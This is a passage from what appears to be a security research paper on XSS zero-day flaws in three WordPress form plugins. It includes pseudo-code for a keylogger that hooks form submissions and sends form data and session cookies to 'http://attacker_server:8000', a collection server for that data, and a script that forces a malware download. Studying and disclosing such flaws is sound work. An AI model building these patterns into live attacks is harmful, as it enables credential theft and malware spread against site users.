# Behind the Code: Identifying Zero-Day Exploits in WordPress
## 5 Exploitation Phase Analysis and Assessment
In summary, we selected 23 WordPress webform plugins for our experiments due to their widespread use, particularly focusing on plugins that handle user data input through forms, surveys, and personal information submissions. Testing in a controlled sandbox environment revealed zero-day vulnerabilities in three plugins: \"Forminator Pro\", \"User Registration\", and \"Contact Form Email\". These vulnerabilities allowed XSS attacks that could capture sensitive information. By simulating typical user interactions and deploying malicious payloads, we demonstrated how these vulnerabilities could be exploited to insert keyloggers, transmit malware, and compromise both user-facing and admin-facing components of WordPress plugins, highlighting the critical need for robust security measures in plugin development. To this end, we provided a detailed pseudo-code of the attack vector and showcased how these vulnerabilities were found and exploited. Figure 6: A keylogger being attached to the plugin from the admin side, showcasing how easy it is for an insider to affect web applications with malicious code. Figure 7: Malware file successfully download on the client side through XSS vulnerability. ```
1:Print \"Script started\" to the console
2:if data transmission function does not have an 'originalSend' property then
3: Assign data transmission function to data transmission function.originalSend
4: Redefine data transmission function to a new function that takes 'body' as a parameter:
5: Declare dataToSend
6:if 'body' is an instance of structured data then
7: Initialize formDataObject as an empty object
8:for each key-value pair in 'body' do
9: Assign each value to formDataObject with its corresponding key
10:endfor
11: Convert formDataObject to a JSON string and assign to dataToSend
12: Display an alert with \"Captured Data\": followed by dataToSend
13:else
14: Assign 'body' to dataToSend
15: Display an alert with \"Captured Data\": followed by dataToSend
16:endif
17: Get session identifiers from the environment and assign to cookieData
18: Create payload object containing dataToSend and cookieData
19: Send a POST request to http://attacker_server:8000 with:
20: - Header: 'Content-Type' set to 'application/json'
21: - Body: JSON string of the payload
22: Call the original data transmission function'send' method with 'body'
23:endif
```  
**Algorithm 1** Keylogger functionality. ```
1:Import required libraries:
2:Import web framework and request handling capabilities. 3:Import cross-origin resource sharing handling capabilities. 4:
5:Initialize the web application:
6:Create an instance of the web framework. 7:Apply settings to the app to enable cross-origin requests. 8:
9:Define routing and functionality for handling data:
10:Create a route at the root URL that listens to both GET and POST methods. 11:Define a function receive_data():
12:if the method is POST then
13: Retrieve JSON data from the request. 14:if 'form' is in the data then
15: Make a copy of the data. 16: Remove 'ur-redirect-url' from the form data in the copy. 17: Print the filtered data. 18:else
19: Print the received data. 20: Return a confirmation message \"Data Received\". 21:endif
22:else
23:if the method is GET then
24: Return \"Server is Running\". 25:endif
26:Execute the app if this is the main script:
27:Run the app on a specified host and port if the script is the main program being executed. ```
1:functionAnonymousSelf-InvokingFunction
2: Create a new hyperlink element
3: Set the destination URL of the hyperlink to the attacker's server
4: Set the download attribute of the hyperlink to the intended malware file name
5: Append the hyperlink to the document's body
6: Trigger a click event on the hyperlink to initiate download
7: Remove the hyperlink from the document's body after triggering
8:endfunction
```
**Algorithm 4** Malware distribution--server side.